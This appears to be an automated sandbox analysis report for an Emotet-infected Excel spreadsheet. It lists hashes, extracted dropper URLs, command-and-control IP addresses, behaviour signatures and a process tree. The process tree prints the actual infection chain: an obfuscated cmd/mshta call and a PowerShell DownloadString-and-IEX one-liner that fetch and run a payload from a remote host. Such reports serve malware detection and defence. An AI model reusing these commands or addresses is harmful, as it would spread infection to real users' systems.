emotet | 7244d558d4875ba3a83917775abf1838d772fad95457c3c9d241d502b47113de

General

Target

RAO544542906SV.xls
Size

46KB
MD5

ae92c13392a19f8fd8d6c4457db4cfe6
SHA1

e887ed08471c05aafd069c4cca5fa1e2caa15109
SHA256

7244d558d4875ba3a83917775abf1838d772fad95457c3c9d241d502b47113de
SHA512

2e97c69406c8fb907df7c23b20e8d0db59a8e59888aaade8ba74d56009719902c81fc548a40364d8b42da491abfccb23a83a9e51e5edddc5538b2003c28267cb

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1728	2796	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

35 1464 mshta.exe
41 3824 powershell.exe
43 3824 powershell.exe
53 1776 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1088 rundll32.exe
596 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Skfnnalosyuqbl\xocpuvlzs.oek rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2300 1464 WerFault.exe mshta.exe

flow	pid	process
35	1464	mshta.exe
41	3824	powershell.exe
43	3824	powershell.exe
53	1776	rundll32.exe

pid	process
1088	rundll32.exe
596	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Skfnnalosyuqbl\xocpuvlzs.oek	rundll32.exe

pid	pid_target	process	target process
2300	1464	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2796 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3824	powershell.exe
3824	powershell.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
2300	WerFault.exe
3824	powershell.exe
1776	rundll32.exe
1776	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3824 powershell.exe
Token: SeDebugPrivilege 2300 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	2300	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE
2796	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2796 wrote to memory of 1728	2796	EXCEL.EXE	CMD.EXE
PID 2796 wrote to memory of 1728	2796	EXCEL.EXE	CMD.EXE
PID 1728 wrote to memory of 1464	1728	CMD.EXE	mshta.exe
PID 1728 wrote to memory of 1464	1728	CMD.EXE	mshta.exe
PID 1464 wrote to memory of 3824	1464	mshta.exe	powershell.exe
PID 1464 wrote to memory of 3824	1464	mshta.exe	powershell.exe
PID 3824 wrote to memory of 3068	3824	powershell.exe	cmd.exe
PID 3824 wrote to memory of 3068	3824	powershell.exe	cmd.exe
PID 3068 wrote to memory of 1088	3068	cmd.exe	rundll32.exe
PID 3068 wrote to memory of 1088	3068	cmd.exe	rundll32.exe
PID 3068 wrote to memory of 1088	3068	cmd.exe	rundll32.exe
PID 1088 wrote to memory of 596	1088	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 596	1088	rundll32.exe	rundll32.exe
PID 1088 wrote to memory of 596	1088	rundll32.exe	rundll32.exe
PID 596 wrote to memory of 3340	596	rundll32.exe	rundll32.exe
PID 596 wrote to memory of 3340	596	rundll32.exe	rundll32.exe
PID 596 wrote to memory of 3340	596	rundll32.exe	rundll32.exe
PID 3340 wrote to memory of 1776	3340	rundll32.exe	rundll32.exe
PID 3340 wrote to memory of 1776	3340	rundll32.exe	rundll32.exe
PID 3340 wrote to memory of 1776	3340	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RAO544542906SV.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3824

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:596

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Skfnnalosyuqbl\xocpuvlzs.oek",mzXZnixX
8⤵
- Suspicious use of WriteProcessMemory
PID:3340

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Skfnnalosyuqbl\xocpuvlzs.oek",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1776

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1464 -s 1888
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
\ProgramData\QWER.dll
MD5
568ddf4d26baa3fadb6f5903e18119cc

SHA1
c556ef89517f7b5cc51fa96d042958eb553e6519

SHA256
74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

SHA512
98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

Download Submit
memory/1088-320-0x0000000004360000-0x0000000004385000-memory.dmp

Filesize
148KB

Download
memory/1776-467-0x00000000040B0000-0x00000000040D5000-memory.dmp

Filesize
148KB

Download
memory/2796-128-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

Filesize
64KB

Download
memory/2796-116-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2796-496-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2796-495-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2796-494-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2796-493-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2796-129-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

Filesize
64KB

Download
memory/2796-117-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2796-115-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2796-121-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/2796-118-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3340-466-0x0000000003310000-0x0000000003335000-memory.dmp

Filesize
148KB

Download
memory/3824-317-0x0000025AA5620000-0x0000025ABD7D0000-memory.dmp

Filesize
385.7MB

Download
memory/3824-316-0x0000025AA5620000-0x0000025ABD7D0000-memory.dmp

Filesize
385.7MB

Download
memory/3824-311-0x0000025AA5620000-0x0000025ABD7D0000-memory.dmp

Filesize
385.7MB

Download
memory/3824-306-0x0000025ABDFE0000-0x0000025ABE056000-memory.dmp

Filesize
472KB

Download
memory/3824-294-0x0000025ABDCC0000-0x0000025ABDCFC000-memory.dmp

Filesize
240KB

Download
memory/3824-275-0x0000025ABD900000-0x0000025ABD922000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads